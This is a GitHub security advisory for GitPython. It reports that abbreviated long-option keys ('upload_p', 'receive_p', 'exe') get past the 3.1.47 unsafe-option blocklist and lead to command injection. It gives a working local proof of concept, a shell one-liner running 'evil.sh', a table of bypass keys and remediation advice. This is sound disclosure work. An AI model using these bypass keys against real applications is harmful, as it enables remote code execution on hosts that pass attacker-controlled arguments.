GHSA-2f96-g7mh-g2hx

ADVISORY - github

Summary

Command injection via long-option prefix abbreviation bypassing check_unsafe_options (incomplete fix of CVE-2026-42215 / GHSA-rpm5-65cw-6hj4)

Component: gitpython-developers/GitPython (PyPI: GitPython) Affected: all versions carrying the 3.1.47 blocklist fix, through current main (verified at commit 20c5e275, 3.1.50-42) CWE: CWE-184 (Incomplete List of Disallowed Inputs) → CWE-78 (OS Command Injection) Severity: inherits the parent CVE-2026-42215 surface; estimated High, ~8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) — final scoring deferred to maintainer/CNA, mirroring the parent. Reporter: hackkim

Summary

The 3.1.47 fix for CVE-2026-42215 blocks dangerous git options (--upload-pack, --config, -c, -u for clone; --upload-pack for fetch/pull; --receive-pack, --exec for push) so callers cannot reach command-executing options unless they pass allow_unsafe_options=True.

The fix canonicalizes an option name along one axis (underscore→hyphen via dashify) and checks it against an exact-match dict. It does not account for git's unambiguous long-option prefix abbreviation. Git accepts any unambiguous prefix of a long option (--upload-p, --upload-pa, --upload-pac all resolve to --upload-pack). So a kwarg key like upload_p canonicalizes to upload-p, misses the blocklist dict, and is emitted to git as --upload-p=<value> → executed as --upload-pack=<value> → command injection, in the default allow_unsafe_options=False configuration.

The asymmetry (root cause)

# git/cmd.py (commit 20c5e275), lines 948-974
@classmethod
def _canonicalize_option_name(cls, option):
    option_name = option.lstrip("-").split("=", 1)[0]
    option_tokens = option_name.split(None, 1)
    if not option_tokens:
        return ""
    return dashify(option_tokens[0])      # only transform: "_" -> "-"

@classmethod
def check_unsafe_options(cls, options, unsafe_options):
    canonical_unsafe_options = {cls._canonicalize_option_name(o): o for o in unsafe_options}
    for option in options:
        unsafe_option = canonical_unsafe_options.get(cls._canonicalize_option_name(option))
        if unsafe_option is not None:
            raise UnsafeOptionError(...)

The guard normalizes only _- and does exact dict membership. Git's CLI parser accepts a broader grammar (prefix abbreviation) than the guard models, so abbreviated keys slip through and reach git as the blocked option.

Affected code (commit 20c5e275)

Location Role
git/cmd.py:948-960 _canonicalize_option_name canonicalizer — no prefix expansion
git/cmd.py:963-974 check_unsafe_options exact-match dict lookup (the incomplete guard)
git/cmd.py:1511 transform_kwarg emits --<dashify(name)>=<value> to the CLI
git/repo/base.py:1411,1413 clone call sites
git/remote.py:1074,1128,1201 fetch / pull / push call sites

Bypass keys (verified)

kwarg key git resolves to path weaponizable
upload_p, upload_pac --upload-pack clone / fetch / pull Yes — direct RCE
receive_p --receive-pack push Yes — direct RCE
exe --exec push Yes — direct RCE
conf, confi --config clone bypasses option blocklist; RCE needs an additional config vector (see note)

Minimal PoC

Self-contained, no network egress (a local bare repo acts as the "remote"). Tested on current main (git 2.50.1):

import os, stat, tempfile
from git import Repo

work = tempfile.mkdtemp()
marker = os.path.join(work, "RCE_MARKER")

# fake "upload-pack" program that proves arbitrary command execution
prog = os.path.join(work, "evil.sh")
with open(prog, "w") as f:
    f.write(f"#!/bin/sh\ntouch {marker}\nexit 1\n")  # exit 1 so git aborts after our code ran
os.chmod(prog, os.stat(prog).st_mode | stat.S_IEXEC)

bare = os.path.join(work, "remote.git")
Repo.init(bare, bare=True)

# attacker-controlled kwarg KEY 'upload_p' -> --upload-p=<prog> -> git runs <prog>
try:
    Repo.clone_from(bare, os.path.join(work, "out"), upload_p=prog)
except Exception:
    pass  # git aborts with GitCommandError AFTER the payload executed

print("RCE marker created:", os.path.exists(marker))  # True -> command injection confirmed

Equivalent at the shell: git clone --upload-p=/tmp/evil.sh src out runs evil.sh.

Confirmed behavior:

  • upload_pack (exact) → blocked; upload_p (abbrev) → passes guard, reaches git, executes. The fix works for the form it models but not the abbreviated form.
  • allow_unsafe_options=True opt-out behaves as documented (out of scope).

Honest scope note

Like the parent CVE, exploitation requires a host application that flows attacker-controlled kwarg keys into a GitPython clone/fetch/pull/push. Where the host passes only fixed/validated keys, this is not reachable — the vulnerability is in the library's documented defense-in-depth control (allow_unsafe_options=False), which this variant defeats.

On the --config family: conf bypasses the option blocklist, but weaponizing --config protocol.ext.allow=always via an ext:: URL is independently blocked by GitPython's protocol allowlist (allow_unsafe_protocols=False). The directly weaponizable family is upload-pack / receive-pack / exec. Reported transparently — not claiming Critical.

Suggested remediation (any one)

  1. Prefix-aware matching: reject any option whose canonical name is an unambiguous prefix of a blocked option (≈ startswith on the blocked canonical name, after dashify).
  2. Disable abbreviation at the sink: pass --end-of-options or invoke git in a way that disables long-option abbreviation.
  3. Allowlist option names on security-sensitive subcommands instead of a blocklist.

Remediation should also cover the -c/--config family abbreviations, even though the ext:: route is currently gated by the protocol allowlist.

Common Weakness Enumeration (CWE)

ADVISORY - github

Incomplete List of Disallowed Inputs

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')


GitHub

CREATED

UPDATED

EXPLOITABILITY SCORE

2.8

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)

CVSS SCORE

8.8high
PackageTypeOS NameOS VersionAffected RangesFix Versions
gitpythonpypi--<=3.1.503.1.51

CVSS:3 Severity and metrics

The CVSS metrics represent different qualitative aspects of a vulnerability that impact the overall score, as defined by the CVSS Specification.

The vulnerable component is bound to the network stack, but the attack is limited at the protocol level to a logically adjacent topology. This can mean an attack must be launched from the same shared physical (e.g., Bluetooth or IEEE 802.11) or logical (e.g., local IP subnet) network, or from within a secure or otherwise limited administrative domain (e.g., MPLS, secure VPN to an administrative network zone). One example of an Adjacent attack would be an ARP (IPv4) or neighbor discovery (IPv6) flood leading to a denial of service on the local LAN segment (e.g., CVE-2013-6014).

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

The vulnerable system can be exploited without interaction from any user.

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any or all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component.